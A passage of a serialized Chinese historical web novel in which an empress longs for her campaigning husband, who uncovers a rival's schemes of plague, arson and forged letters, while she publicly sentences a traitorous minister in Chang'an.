苏锦的轻盈与棉质的柔软,让这身巨大的裙袍贴合着她的身体,带来一丝熟悉的、令人安心的触感。那长达五丈的苏锦拖尾,从凤榻上迤逦垂落,在地面上铺散开一大片凌乱而华贵的墨金色云锦,一直延伸到窗边,仿佛要与窗外的月光连接在一起。 她的手中,也同样握着一封信。是林臻刚刚通过“夜枭”送回来的家书。 信上,他只字未提战场的艰难与凶险,只说一切顺利,让她安心。他还用调侃的语气,描述了郑蛟元帅的大嗓门,和军营里粗糙却热乎的烤肉。他说,他很想念她做的莲子羹。 第1086章 长安海棠已谢,池中新荷正绿 慕容嫣看着信纸上那熟悉的、苍劲有力的字迹,眼眶忍不住有些发热。 她怎么会不知道前方的艰难? 每日雪片般飞来的军情邸报,上面每一个冰冷的伤亡数字,都像针一样扎在她的心上。她知道,他一定瘦了,也一定累坏了。可是在信里,他却总是报喜不报忧,只想让她安心。 这个傻瓜…… 她将信纸紧紧地贴在脸上,仿佛这样就能感受到他写信时的气息。一股混合着酸楚、骄傲与无尽思念的复杂情绪,瞬间填满了她的胸膛。 她想他。 想得心都疼了。 她想念他坚实温暖的怀抱,想念他总能抚平她所有不安的沉稳声音,想念他看着自己时,那满得快要溢出来的宠溺眼神。 没有他在身边,这偌大的皇宫,就好像一个华丽却冰冷的囚笼。凤椅再高,也抵不过他身边的一个座位;锦衣玉食再好,也不如他亲手为她剥的一瓣橘子。 她缓缓站起身,赤着脚,踩在冰凉的金砖地面上。那长长的、凌乱的拖尾,随着她的动作,在身后无声地滑动。 她走到窗边,推开窗户,任由带着湿气的夜风吹拂着她的脸颊和长发。她抬起头,望着夜空中那轮清冷的明月,喃喃自语,声音轻得仿佛随时都会被风吹散。 “夫君……你那里,也是这同一轮月亮吗?” “你……可有想我?” 就在她沉浸在无尽的思v念中,准备转身回到案前,为他写一封回信的瞬间——动作带着一种被思念彻底淹没后的、柔软而缠绵的不舍! 那迤逦于地、铺散凌乱长达五丈的墨金色苏锦拖尾,被她这轻柔的、带着无尽眷恋的转身动作悄然带动! 华贵的锦缎拂过冰凉的地面,发出极其细微的、如同情人低语般的“窸窣”声。 随着拖尾的轻柔飘起——赫然露出了里面那金线密织、在窗外清冷月华与殿内昏黄烛光的交织映照下、闪烁着如同最温柔的梦境般温暖而缱绻光芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出一种不同于以往任何时候的、充满了无尽思念与似水柔情的、无比柔软而动人的金芒! 那光芒里,没有帝王的威严,没有统帅的决断,只有一位妻子对远征丈夫最深沉、最纯粹的爱恋与牵挂。尊贵、辉煌,却在此刻,化为了这世间最动人的情诗。 裙摆落下,将那片温暖而柔软的金光,连同她心底最深的秘密,一同掩盖。 慕容嫣走到书案前,重新铺开纸张,提起笔。这一次,她写的不再是冰冷的军令,也不是威严的圣旨。 “夫君,见信如晤。长安海棠已谢,池中新荷正绿。波斯猫甚顽,抓坏了神凤降世裙的拖尾流苏,朕欲罚之,又念其憨态可掬,终不忍。前线苦寒,望君珍重。勿食冷物,夜深加衣。帐中若有莲子,可命庖厨煮羹,聊解相思。归期未问,君心我心。盼……” 她写得很慢,很慢,仿佛要将这满腔的思念,都倾注于笔端。 窗外,月色溶溶,夜凉如水。 相隔数千里,一对帝国最尊贵的夫妻,在同一轮明月下,分享着同一份刻骨的思念。 ...... 北疆的战事,陷入了一种诡异的僵持。 林臻率领的大乾主力,与乌维的漠北主力,隔着数百里的荒原对峙。双方都很有耐心,谁也不肯轻易发动大规模的决战。战场的主角,变成了双方的轻骑兵和斥候。 广袤的漠北草原,化作了一个巨大的棋盘。无数支小规模的部队,如同黑白两色的棋子,在这张棋盘上互相追逐、袭扰、伏击、反伏击。几乎每一天,都有小规模的战斗在不同的地方爆发。烽火台的狼烟,时常在不同的方向升起。 林臻的帅帐,成了这盘复杂棋局的指挥中心。每日里,雪片般的军情从四面八方汇集而来,他又将一道道指令精准地传递下去。他就像一个最高明的棋手,沉着地应对着乌维的每一步棋,同时也在寻找着对方的破绽。 然而,半个月后,一种不祥的阴影,开始悄然笼罩在大乾军的营地上。 最先出现问题的,是位于大军后方三十里处的一座辅兵营。营中数百名负责修缮军械、照料伤兵的辅兵,在短短三日之内,相继出现了一种奇怪的病症。患者起初只是发热、乏力,继而开始上吐下瀉,浑身起满红疹,不过数日,便会衰竭而死。 军中的医官用了各种法子,却始终查不出病因,也找不到有效的治疗方法。恐慌,如同瘟疫本身,开始在辅兵营中迅速蔓延。 消息很快便传到了林臻的帅帐。 “瘟疫?”林臻听完军医官的汇报,眉头紧紧地锁了起来。他立刻意识到,事情绝不简单。行军打仗,因为水土不服、卫生条件差而爆发疫病,并不罕见。但这次的病症,来得太过蹊跷,发病快,死亡率高,而且只集中在一座特定的营地里爆发。 “立刻封锁那座辅兵营!任何人不得随意出入!”林臻当机立断,“将所有患者集中隔离,他们的所有用具,全部焚烧!传令全军,注意营地卫生,所有饮水,必须煮沸后方可饮用!” “是!”医官领命,匆匆退下。 “王爷,”一旁的郑蛟元帅面色凝重,“此事……怕不是天灾那么简单。末将担心,是漠北人搞的鬼!” “本王也这么想。”林臻的眼中闪过一丝寒光,“乌维正面打不赢,就开始用这些下三滥的手段了吗?” 他立刻传令“夜枭”,秘密调查辅兵营近期的所有物资来源,尤其是水源和食物。 然而,一波未平,一波又起。 就在瘟疫之事发生的第三天,又一件怪事发生了。一支由赵破虏麾下骁骑营负责护送的小型粮队,在距离主营仅有二十里的地方,突然遭遇了“山火”。一夜之间,五百石军粮和数十辆大车,被烧得干干净净。 负责此事的校尉回来请罪,说他们当夜扎营在一片枯草滩旁,不知为何,半夜里突然起了大风,远处一点火星被风吹来,瞬间便引燃了整片草滩,火势蔓延太快,他们虽然全力扑救,但终究没能保住粮草。 “山火?”林臻听着校尉的汇报,脸上的表情越来越冷。 第1087章 此事必定有诈 盛夏时节,草原干燥,偶有山火,并不奇怪。但这一切发生得也太过“巧合”了。先是莫名其妙的瘟疫,接着是恰到好处的山火。 这两件事,看似毫无关联,但林臻隐隐感觉到,有一张无形的、充满恶意的网,正在他看不见的地方,悄然张开。 “王爷,此事必定有诈!”郑蛟一拳砸在案几上,怒道,“这绝不是意外!肯定是漠北的探子干的!他们不敢正面劫粮,就用这种阴损的法子来烧我们的粮草!” “或许吧。”林臻的目光幽深,他走到巨大的沙盘前,看着上面敌我双方的态势,陷入了沉思。 烧粮草,制造瘟疫……这些手段,虽然阴毒,但对于一场数十万人的大战而言,影响其实有限。乌维耗费这么大的力气,冒着暴露探子的风险,就为了烧他五百石粮食,毒死几百个辅兵? 这不像是乌维的手笔。乌维是狼,不是蝎子。狼捕猎,讲究的是一击致命。这些小动作,更像是在…… “在吸引我的注意力。”林臻喃喃自语。 “王爷,您说什么?”郑蛟没有听清。 “郑帅,”林臻转过头,目光锐利,“你觉不觉得,这些事情,都发生得太‘顺利’了?瘟疫也好,山火也罢,都像是在故意告诉我们:‘看,我在这里,我在给你们制造麻烦’。” 郑蛟闻言一愣,随即也反应过来:“王爷的意思是……这也是疑兵之计?他们真正的目的,是想把我们的注意力,从别的地方引开?” “很有可能。”林臻点头,“乌维那只老狐狸,最擅长虚虚实实。他让这些小麻烦不断出现,就是想让我们疲于奔命,让我们把精锐兵力都调去防范这些‘意外’。而他真正致命的杀招,或许就藏在我们最意想不到的地方。” 就在这时,帐外亲卫再次来报。 “启禀王爷,郑帅!我们在巡查烧毁的粮仓现场时,从一具被烧焦的尸体身上,发现了一封尚未完全烧毁的信件!” 一名亲卫快步入内,双手呈上一块用布包裹着的、焦黑的物体。 林臻打开布包,里面是一卷被烧得残缺不全的绢帛。他小心翼翼地将其展开,上面的字迹大多已经模糊不清,但依旧可以勉强辨认出一些句子。 “……林王专断,军功不公……郑帅威望,反受其制……我等……心有不忿……” 信的末尾,是一个已经被烧得只剩一半的、看似是某个将领的私印。 “啪!” 郑蛟看完信,勃然大怒,一把将信拍在桌上,虎目圆瞪:“岂有此理!这是谁在背后造谣,意图离间我与王爷!王爷,末将对您,对朝廷,忠心耿耿,绝无二心啊!” “郑帅,我自然信你。”林臻的面色平静,但眼神却冷得吓人。 他拿起那封残信,仔细地端详着。伪造得很高明,无论是笔迹还是行文的口气,都像极了某个对现状不满的、郑蛟麾下的老将所写。如果这封信落到旁人手中,尤其是那些本就对林臻年轻位高心存嫉妒的人眼中,恐怕真的会掀起轩然大波。 瘟疫、山火、离间信…… 一根根看似毫不相干的蛛丝,在林臻的脑海中,渐渐被串联起来,指向了一个模糊却又无比阴毒的轮廓。 这不是乌维的风格。乌维虽然狡诈,但他的手段,依旧是属于战场上的。而这些……更像是出自一个熟悉大乾内部情况、深谙人心险恶、并且对林臻和慕容嫣抱着刻骨仇恨的人之手。 一个名字,瞬间从林臻的脑海中跳了出来。 孔志谦! “原来是你……”林臻低声自语,眼中杀机暴涨。 他终于明白了。这些阴谋,根本不是为了在战场上获得多少优势,它们的目的,从一开始,就是为了动摇他的军心,扰乱他的判断,最终,将他引入一个早已设计好的、致命的陷阱! 而这个陷阱,会设在哪里? 林臻的目光,再一次落到了沙盘上。他闭上眼,将近期所有关于漠北的情报,在脑海中飞速地过了一遍。 乌维主力龟缩、小股游骑四处袭扰、瘟疫、山火、离间信……还有那条被“夜枭”捕捉到的、关于金狼骑向西北方向“死亡沼泽”移动的模糊情报…… 所有的线索,最终都指向了那个看似最不可能、最荒凉、最危险的地方。 “死亡沼泽……”林臻猛地睁开眼,眼中精光爆射,“我知道了!我知道乌维真正的杀招在哪里了!” “王爷,您是说……乌维那老贼,真的敢把他的主力藏在死亡沼泽?”郑蛟元帅听完林臻的推断,脸上写满了难以置信。 死亡沼泽,位于漠北腹地深处,是一片方圆数百里的巨大沼泽地。那里终年弥漫着瘴气,毒虫遍地,流沙暗布,人畜一旦陷入,便绝无生还的可能。在漠北人的传说中,那是被长生天诅咒的“恶魔之眼”,连最勇敢的牧民,都不敢轻易靠近。 将数万大军藏匿在那种地方,简直是匪夷所思! “兵者,诡道也。”林臻的目光如同鹰隼,死死地锁定在沙盘上那片代表着沼泽的区域, “越是不可能的地方,就越有可能是真的。乌维用瘟疫、山火、离间信这些伎俩,拼命地在东线和南线制造麻烦,就是为了把我们的视线和兵力全部吸引过去。他赌的就是,我们绝不会想到,他会把最精锐的金狼骑,通过死亡沼泽边缘一条极其隐秘、只有极少数老牧民才知道的旱季通道,迂回到我们的大后方——燕然都护府!” 他手指重重一点,点在了燕然都护府那座孤零零的城池模型上。 “燕然都护府是我军最重要的粮草和军械中转基地,也是我们整个北伐大军的后路所在!一旦燕然失守,我数十万大军,便会瞬间陷入粮草断绝、后路被断的绝境!届时,都不用乌维来打,我们自己就会崩溃!” 第1088章 我只需三百人 林臻的声音不高,但每一个字,都如同重锤,狠狠地敲在郑蛟的心上。郑蛟的额头,瞬间渗出了细密的冷汗。他只想着如何与敌军正面决战,却忽略了这最致命的、来自背后的威胁。如果不是王爷洞察先机,后果不堪设想! “王爷英明!”郑蛟抱拳,声音都有些颤抖,“那……那我们该如何应对?立刻调集主力,驰援燕然?” “不。”林臻摇了摇头,眼中闪烁着一种猎人发现猎物踪迹时的、冰冷而兴奋的光芒,“现在调兵,已经晚了。且不说会打草惊蛇,就算我们现在出发,也未必能赶在乌维前面。而且,这也有可能是孔志谦那小子的连环计,故意放出金狼骑的消息,引我们主力西移,然后乌维的主力再从东线趁虚而入。” “那……那可如何是好?”郑蛟彻底没了主意。 “将计就计。”林臻的嘴角,勾起一抹冷冽的弧度,“既然他们想骗我们,那我们就假装被骗。既然他们想让我们看到诱饵,那我们就狠狠地咬上去!” 他转过身,目光炯炯地看着郑蛟,语气斩钉截铁: “郑帅,你立刻亲率五万主力,包括骁骑营和虎贲卫,大张旗鼓,向东线移动!做出要与乌维在正面战场寻求决战的架势!声势越大越好,务必要让乌维的探子看得清清楚楚,让他相信,我们已经完全被他东线的袭扰所迷惑,正准备毕其功于一役!” “王爷,这……”郑蛟大惊失色,“如此一来,我军中路和西线,岂不是空虚无比?万一乌维真的从死亡沼泽杀出来……” “他会的。”林臻打断了他,语气中带着强大的自信,“乌维和孔志谦费了这么大的力气布下这个局,就是为了引我们犯错。我们现在‘犯错’了,他们没有理由不抓住这个‘千载难逢’的机会。” 他顿了顿,声音压得极低,只有两人能听见:“你的任务,不是决战,而是‘演戏’。与敌军的游骑接触后,要打,但要打得‘吃力’,要表现出急于求胜、后方不稳的焦躁。要一步一步地,把乌维的主力,从他们藏身的洞穴里,彻底引出来,拖在东线!” “那燕然那边……”郑蛟依旧忧心忡忡。 林臻走到长案前,从一个上锁的铁盒中,取出了一面小小的、纯金打造的令牌。令牌上,雕刻着一只栩栩如生的凤凰。 “这是陛下离京前,亲手交给我的凤翎金牌。”林臻的声音,带上了一丝不易察觉的温柔,“见此牌,如见陛下亲临。你派一名绝对心腹,持此金牌,星夜赶往燕然都护府,交给都护使。告诉他,放弃外围所有据点,将所有兵力收缩回城中,深沟高垒,死守待援!没有我的命令,就算城外天塌下来,也不许出城一步!” “至于真正的杀招……”林臻的眼中,杀机毕露,“由我亲自来!” “王爷!不可!”郑蛟闻言,噗通一声单膝跪地,“您是三军主帅,万金之躯,岂可亲身犯险!深入漠北腹地,九死一生!末将愿代王爷前往!” “郑帅,起来。”林臻扶起他,语气不容置疑,“此事,非我亲自去不可。第一,只有我离开中军,才能让乌维和孔志谦彻底相信,我军的指挥中枢已经东移,西线空虚。第二,金狼骑是乌维最精锐的王牌,寻常将领,对上他们,未必有胜算。第三……” 他的目光变得悠远而深沉,仿佛穿透了帐篷,看到了远在长安的那道身影。 “……我答应过她,要亲手斩下乌维的头颅,为这场战争,画上一个句号。” 郑蛟看着林臻那不容动摇的眼神,知道再劝无益。他深吸一口气,重重抱拳:“王爷此去,需带多少兵马?末将愿将亲卫营全部拨给王爷!” “不,人多了,反而容易暴露。”林臻臻摇头,“我只需三百人。” “三百人?!”郑蛟失声惊呼,“王爷!三百人如何能对抗乌维的上万金狼骑?!” “我不要寻常的士兵。”林臻的目光,如同出鞘的利剑,“我要的,是‘夜枭’中,最顶尖的三百名刺客!是军中百里挑一、能以一当百的死士!我要的,不是一支军队,而是一把能于万军之中,直取上将首级的……匕首!” 他走到舆图前,手指点在死亡沼泽边缘的一处绝壁之上。 “乌维以为,他找到了通往胜利的捷径。他却不知道,那条路的尽头,是地狱。而我,就是那个在地狱门口,等他的人。” 当夜,三更。 大乾中军大营,一片寂静。 林臻已换上了一身最普通的黑色夜行衣,脸上蒙着黑巾,只露出一双在夜色中亮得惊人的眼睛。他腰间佩着一长一短两柄利剑,背后背着一把特制的强弓,整个人如同一尊蓄势待发的杀神,与这夜色完美地融为一体。 在他的身后,三百名同样装束的“夜枭”死士,已经无声无息地集结完毕。他们每一个人身上,都散发着浓烈的、只有从尸山血海中才能磨砺出的血腥与杀气。 郑蛟元帅站在帐前,看着即将出发的林臻,虎目中含着泪光。他没有再多说什么,只是走上前,用力地抱了抱林臻。 “王爷,保重!” “郑帅,保重。东线……就交给你了。” 林臻说完,不再犹豫,一挥手,带着三百名死士,如同一群融入黑暗的幽灵,悄无声息地离开了大营,向着那片充满未知与死亡的西方荒原,疾驰而去。 风,在耳边呼啸。 林臻的心,却一片平静。 他知道,这或许是他一生中,最危险的一次豪赌。 赌赢了,大乾北疆,可换来数十年太平。 赌输了…… 他没有再想下去。他只是下意识地,摸了摸胸口那个绣着鸳鸯的香囊。 嫣儿,等我回家。 晚风,似乎也带上了远方长安城里,那淡淡的、属于她的兰花香气。 第1089章 我们打赢了? 长安,午门。 往日里只在举行重大典礼或处决钦定要犯时才会开启的午门,今日洞开。 高大厚重的城楼之下,广场上黑压压地站满了前来围观的百姓,人头攒动,议论纷纷。 而在警戒线之内,文武百官按品级肃立,一个个面色凝重,连大气都不敢喘。 所有人的目光,都聚焦在城楼之上。 那里临时搭起了一座高台,高台之上设着一张赤金凤椅。 卯时三刻,当慕容嫣的身影出现在城楼上时,广场上瞬间爆发出山呼海啸般的“万岁”之声。 今日的她,为显国法之威、天子之严,在贴身穿着的神凤降世裙之外,极其郑重地罩上了那件与之配套的黑金色霞帔。 霞帔之上,百鸟朝凤的图案在晨光下流光溢彩,与内里睡裙本体那贯穿全身的巨凤纹样交相辉映,衬得她整个人威严到了极点。 她一步步登上高台,身后那长达五丈的墨金色苏锦拖尾,在冰冷的石质台阶上拖曳而过,发出沉闷的“沙沙”声。 那巨大的裙摆并未有宫人托举,就那般自然地、磅礴地铺陈开来,从凤椅之后一直蔓延至高台边缘,因她的步伐和转身,裙摆堆叠、扭曲,形成一片充满了绝对权威的、不容置喙的凌乱。 她端坐于凤椅之上,目光冷漠地扫过下方,声音通过内力加持,清晰地传遍了整个广场。 “带人犯,崔明远!” 片刻之后,曾经风度翩翩、位高权重的礼部侍郎崔明远,被两名如狼似虎的锦衣卫缇骑押了上来。他发髻散乱,官袍也已在诏狱中被撕扯得不成样子,脸上满是惊恐与绝望。 “跪下!” 缇骑一脚踹在他的腿弯,崔明远“噗通”一声,狼狈地跪倒在慕容嫣的脚下。 “崔明远,”慕容嫣的声音不带一丝温度,“你可知罪?” “臣……臣冤枉啊!陛下!”崔明远抬起头,涕泪横流地哭喊道,“臣对大乾忠心耿耿,绝无二心!是有人陷害臣!是他们陷害臣啊!” “陷害?”慕容嫣冷笑一声,对一旁的锦衣卫指挥使赵无忌使了个眼色。 赵无忌立刻会意,上前一步,展开一卷绢帛,用洪亮的声音念道: “礼部侍郎崔明远,勾结漠北,通敌卖国,罪证如下!其一,于亲王殿下离京之后,密信漠北右贤王呼衍卓,详述我朝兵力部署、粮草转运机要……” 随着赵无忌将信中那些触目惊心的内容一字一句地念出来,整个午门广场,从死寂变得哗然! “天啊!这崔大人竟然是奸细!” “吃着朝廷的俸禄,却干着通敌卖国的事!真是猪狗不如!” “北疆的将士们正在流血拼命,他却在背后捅刀子!杀了他!杀了他!” 百姓的怒吼声如同潮水,一波高过一波。 崔明远彻底瘫软在地,他知道,自己完了。 当那封密信被找到的时候,他就已经没有任何翻盘的可能了。 绝望之下,一股疯狂的恨意涌上心头。他猛地抬起头,死死地盯着高台之上的慕容嫣,面目狰狞地嘶吼道: “慕容嫣!你这个毒妇!你弑君篡位,残害忠良!孔家世代书香,对大乾忠心耿耿,你却为了一己之私,将他们满门抄斩!我崔家不过是说了几句公道话,你便罗织罪名,构陷于我!你如此倒行逆施,必遭天谴!必遭天谴!” 他试图用孔家之事,来挑动其他世家大族心中那根敏感的神经。 然而,他失算了。 慕容嫣静静地听着他的嘶吼,脸上没有任何表情。 直到他说完,她才缓缓开口,声音平静,却带着一股压倒一切的力量。 “说完了?” 她站起身,俯视着脚下如同疯狗般的崔明远。 “你说朕残害忠良?那朕问你,就在三日前,漠北右贤王呼衍卓,率领一万漠北最精锐的铁骑,奇袭我军粮道。而我大乾的将士,在亲王殿下的率领下,于鹰嘴崖设伏,大破敌军!斩敌七千,俘虏两千!打得那呼衍卓屁滚尿流,重伤遁逃!” 此言一出,全场再次沸腾! “赢了?我们打赢了?!” “鹰嘴崖大捷!太好了!亲王殿下威武!” 百姓们欢呼雀跃,而那些官员们,则一个个面露震惊。这个消息,他们也是第一次听说! 慕容嫣抬手,压下声浪,目光如刀,再次落在崔明远身上: “将士们在前方用命换来的大捷,你却在背后,将他们的部署,将他们的粮道位置,一一告知你的漠北主子!你告诉朕,谁是忠良?谁是国贼?!” “你与呼衍卓在信中约定,待漠北王师南下,你便在京中里应外合,共取天下!你告诉朕,你这叫‘说了几句公道话’?” “你崔家,享受着大乾的恩泽,身居高位,食万民之禄,却在国难当头之际,背叛国家,出卖同胞!你还有脸在这里提孔家?孔家勾结外敌,谋刺君上,罪证确凿!你崔家与他们,不过是一丘之貉!” 慕容嫣的每一句话,都如同重锤,狠狠地砸在崔明远的心上,也砸在所有人的心上。 崔明远被驳斥得哑口无言,只剩下绝望的喘息。 “来人!”慕容嫣的声音,冷得如同万年玄冰。 “在!” “将叛国逆贼崔明远,凌迟处死!其三族之内,男丁一体处斩,女眷没为官奴!查抄家产,尽数充入国库,用以犒赏北疆三军!” 这残酷的判决,让整个午门广场瞬间安静下来。百官们一个个吓得脸色煞白,他们没想到,女帝的手段,竟然如此狠辣! “不!不要!陛下饶命!我错了!我真的错了!”崔明远发出了杀猪般的惨嚎,拼命地磕头求饶。 但慕容嫣没有再看他一眼。她转身,准备返回皇宫。 就在她转身的瞬间,一名“夜枭”的密探,如同鬼魅般出现在她身后,单膝跪地,呈上了一份最新的密报。 慕容嫣展开密报,只看了一眼,凤眸便猛地一缩。 密报上写着:近日,江南、中原数个州府,同时出现神秘谣言,称“女帝失德,天降刀兵”,更有甚者,开始出现小范围的、症状与北疆军营相似的疫病。 孔志谦的毒计,已经开始发作了。 慕容嫣捏紧了手中的密报,指节因为用力而发白。她知道,真正的战争,或许才刚刚开始。一场看不见硝烟,却更加凶险的战争。 第1090章 更棘手的敌人 栖凤阁内,烛火通明。 慕容嫣挥手屏退了所有宫人,独自一人在殿内来回踱步。 白日里在午门前那场血腥的公开处决,以及刚刚收到的、关于江南等地异动的密报,让她心乱如麻。 她身上依旧只穿着那件作为唯一寝衣的神凤降世裙,并未罩上霞帔。 此刻,她卸下了一身帝王的冷硬与威严,只余一个女人的疲惫与忧虑。 极致玄黑的苏锦底料,在柔和的宫灯下仿佛一个深不见底的旋涡,将所有的光线都吸了进去。 这件以轻盈透气的苏锦工艺织就的棉质睡裙,即便裙幅巨大,也丝毫感觉不到沉重,只是那柔软的布料贴着肌肤,带来一丝冰凉的触感。 因她心绪不宁,来回走动,那长达五丈的墨金色苏锦拖尾在她身后,于光滑的金砖地面上被拖曳、纠缠、堆叠,形成一片充满了焦躁与不安的、恣意的凌乱。 宽大的喇叭袖随着她的动作来回摆动,袖口繁复的金线流苏不时扫过地面,发出细微的声响。 她走到窗边,停下脚步。 就在她转身望向窗外夜色的瞬间——动作带着一种被重重压力包裹后的烦躁与沉郁! 那迤逦凌乱的墨金色长长拖尾,被她这带着烦闷情绪的转身动作猛地带动!华贵的锦缎在地砖上划出一道沉闷的弧线。 随着拖尾的骤然飘起——赫然露出了里面那金线密织的“满地织金”内衬! 在殿内昏黄的烛光下,那片金光不再是白日里的辉煌,而是闪烁着一种如同被乌云遮蔽的、焦灼而忧虑的暗金色光芒! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出一种深陷困局、思绪烦乱的凝重感! 那光芒充满了对未知敌人的警惕、对内部隐患的深切忧虑,以及一种被无形之网束缚的沉重与压抑。 裙摆落下,将那片忧虑的暗金光芒掩盖。 “孔志谦……”慕容嫣再次咀嚼着这个名字,眼中满是寒意。 这个她曾经不屑一顾的丧家之犬,如今却成了比乌维的铁骑更让她感到棘手的敌人。 军事上的对决,是明刀明枪,胜负分明。 可这种在背后散布谣言、投毒放瘟的阴毒伎俩,却防不胜防,稍有不慎,便会动摇国本。 “来人,传杜相、周尚书,即刻入宫觐见!”她不能再等了,必须立刻做出应对。 很快,须发皆白的杜如晦和一脸严肃的户部尚书周兴,便脚步匆匆地赶到了栖凤阁。 “臣等叩见陛下。” “两位爱卿平身,赐座。”慕容嫣嫣将那份“夜枭”的密报递给他们,“看看吧。” 杜如晦和周兴接过密报,只看了几眼,脸色便同时大变。 “陛下!这……这绝非偶然!”杜如晦苍老的声音中带着震惊,“江南、中原数地,同时出现内容相似的谣言,还伴有疫病……这背后,定有黑手在操控!” “不错,”周兴也沉声道,“而且散布谣言,矛头直指陛下,其心可诛!这是要动摇我大乾的民心,乱我后方啊!北疆战事正紧,若后方不稳,后果不堪设想!” 慕容嫣看着两位心腹重臣脸上的忧色,心中稍定。至少,她不是一个人在战斗。 “两位爱卿,有何良策?” 杜如晦沉吟片刻,缓缓道:“陛下,此事宜疏不宜堵。谣言之事,若强行禁绝,反而会引人猜疑,越传越广。为今之计,当行两策。” “其一,安民心。可由朝廷下旨,减免谣言所涉地区的今年税赋,并立刻从国库拨出专款,派遣太医院的得力医官,携带药材,前往疫区救治百姓。要让百姓们看到,朝廷非但没有抛弃他们,反而在尽力帮助他们。皇恩浩荡,谣言不攻自破。” “其二,反其道而行。”杜如晦眼中闪过一丝精光, “既然敌人用谣言攻击我们,我们也可以用‘事实’来反击!鹰嘴崖大捷的消息,此刻应已传开。我们可命各州府衙门,大肆宣扬此次胜利!将士们是如何英勇杀敌,亲王殿下是如何运筹帷幄。同时,将崔明远通敌卖国、被当众处决之事,也一并公告天下!要让百姓们知道,真正的国贼是谁,谁才是导致刀兵四起、让他们受苦的罪魁祸首!” “杜相所言极是!”周兴立刻附和, “一边施以恩德,一边彰显国威,双管齐下,必能稳住民心!至于疫病,臣建议,除了派遣医官,还需立刻封锁疫区,严禁人员流动,防止疫病扩散。所有病死之人畜,必须深埋或火化,万不可大意!” “好。”慕容嫣听完两位重臣的分析,纷乱的思绪渐渐清晰起来。她当即拍板: “就依两位爱卿所言!杜相,你即刻拟旨,减免税赋,宣扬大捷,声讨国贼!周尚书,你负责从户部调拨钱粮药材,务必在三日之内,送到疫区!太医院那边,朕会亲自下令。另外,传朕旨意,命‘夜枭’全力追查谣言源头和投毒之人,一经查实,不必上报,就地格杀!” “臣等遵旨!”杜如晦和周兴齐声应诺。 安排完一切,两位老臣退下。栖凤阁内,又只剩下慕容嫣一人。 她走到书案前,看着上面堆积如山的奏章,感到一阵身心俱疲。她多想此刻林臻就在身边,她可以像往常一样,靠在他怀里,将所有的烦恼都向他倾诉。 就在这时,一名宫女悄无声息地走了进来,双手捧着一个防水蜡丸。 “陛下,北疆亲王殿下送回的家书。” 慕容嫣的眼睛瞬间亮了! 她快步上前,接过蜡丸,有些急切地捏碎,取出里面的信纸。 是他的字迹! 苍劲有力,一如他本人。 信里,他没有提任何战事的艰难,只是用轻松的语气写着军营里的趣闻,说郑蛟元帅嗓门太大,震得他耳朵疼;说军中的烤全羊外酥里嫩,就是佐料少了些。 他还说,他一切都好,让她务必按时吃饭,不要熬夜…… 看着这些温暖的文字,慕容嫣,眼眶一热,泪水差点掉下来。 这个傻瓜,他总是这样,把所有的风雨都自己扛着,只把最好的一面留给她。 信的末尾,他写道:“……近来敌军打法有变,愈发刁钻诡谲,颇有南人阴诡之风,似有高人背后指点,然皆为癣疥之疾,不足为虑。嫣儿勿念。” 就是这一句,让慕容嫣的心猛地一沉! 南人阴诡之风? 高人指点? 她立刻联想到了孔志谦! 她瞬间明白了,林臻不是不知道危险,他只是在用这种轻描淡写的方式,隐晦地提醒她,让她在后方有所防备! 他一定,也正面临着巨大的压力和危险! 一股强烈的担忧与心痛,瞬间攫住了她的心脏。她将信纸紧紧地贴在胸口,仿佛这样就能分担他的一些重量。 “夫君……”她喃喃自语,眼中满是化不开的柔情与担忧。 第1091章 漠北金狼骑 月色如霜,冷冷地洒在广袤而死寂的沼泽之上。 这里是漠北人口中的“恶魔之眼”,生命的禁区。 白天,这里是弥漫着致命瘴气的绿色地狱;而到了夜晚,这里则变成了连鬼魂都不愿涉足的黑色深渊。 空气中弥漫着腐烂水草和淤泥混合的、令人作呕的腥臭味。 黑暗中,不时传来毒虫爬行的“沙沙”声,和不知名野兽在远处发出的、令人毛骨悚然的低吼。 然而,就在这片绝地的边缘,三百个如同鬼魅般的身影,正借着微弱的月光,沿着一条被乱石和枯草掩盖可见路径,快速而无声地行进着。 他们就是林臻亲手挑选的三百“夜枭”死士。 每一个人,都身着紧身的黑色夜行衣,脸上蒙着黑巾,只露出一双在夜色中闪着寒光的眼睛。 他们身上除了必要的兵器和干粮、清水,没有任何多余的负重。 他们行动时,落地无声,配合默契,仿佛一群习惯了在黑暗中捕猎的狼。 林臻走在队伍的最前方。 他同样是一身黑衣,脸上带着难以掩饰的疲惫,但那双眼睛,却比夜空中最亮的星辰还要锐利。 他一边要辨认着这条传说中只有老牧民才知道的古老旱路,一边还要时刻警惕着脚下可能出现的流沙和暗坑,以及潜伏在暗处的毒蛇。 这已经是他带着队伍进入死亡沼泽边缘的第三天了。 三天三夜,他们几乎没有合过眼,只靠着最坚韧的意志和身上携带的少量干粮充饥。 饶是这些“夜枭”都是百里挑一的精锐,此刻也已是人人带伤,疲惫到了极点。 “王爷,停下歇会儿吧。弟兄们……快撑不住了。”副手,一个代号叫“鬼影”的汉子,凑到林臻身边,声音沙哑地说道。 他的一条胳膊上,还缠着简陋的绷带,那是昨天为了从一条巨蟒口中救下一名弟兄而被咬伤的。 林臻停下脚步,回头看了一眼身后的队伍。 月光下,这些铁打的汉子一个个脸色苍白,嘴唇干裂,不少人身上都带着伤,但没有一个人叫苦,所有人的目光,都依旧坚定地看着他。 一股暖流涌上林臻心头。 这就是他的兵,是大乾的兵。 “原地休息一刻钟。检查伤口,补充水分。”他低声下令。 众人立刻无声地散开,靠着岩石坐下,从怀中掏出水囊和干硬的肉干,大口地吞咽起来。 林臻也靠在一块巨石上,从怀中摸出了那个已经有些磨损的鸳鸯香囊。 他放在鼻尖,轻轻地嗅着那熟悉的、能让他心安的香气。 嫣儿,你现在在做什么? 是不是又在为朝中的事情烦心? 有没有按时吃饭? 他不敢去想,如果自己这次失败了,她一个人,要如何面对这内忧外患的江山。 所以,他不能败,也绝不会败。 “王爷,”鬼影处理好伤口,走了过来,递给他一块肉干,“前面探路的兄弟回来了。” 林臻抬头,只见一名身材瘦小的“夜枭”悄无声息地出现在他面前,单膝跪地。 “启禀王爷,前方十里,发现大量马蹄印。从痕迹看,至少有上万骑兵,而且都是配备了铁蹄的重骑。痕迹很新,最多不超过一天。他们行进的方向,正是燕然都护府!” 林臻精神一振,霍然起身! 金狼骑! 他们终于露出了狐狸尾巴! “他们离我们有多远?” “回王爷,按照他们的速度和路径,我们全速前进,大概在明日黎明时分,可以在‘一线天’峡谷截住他们!” 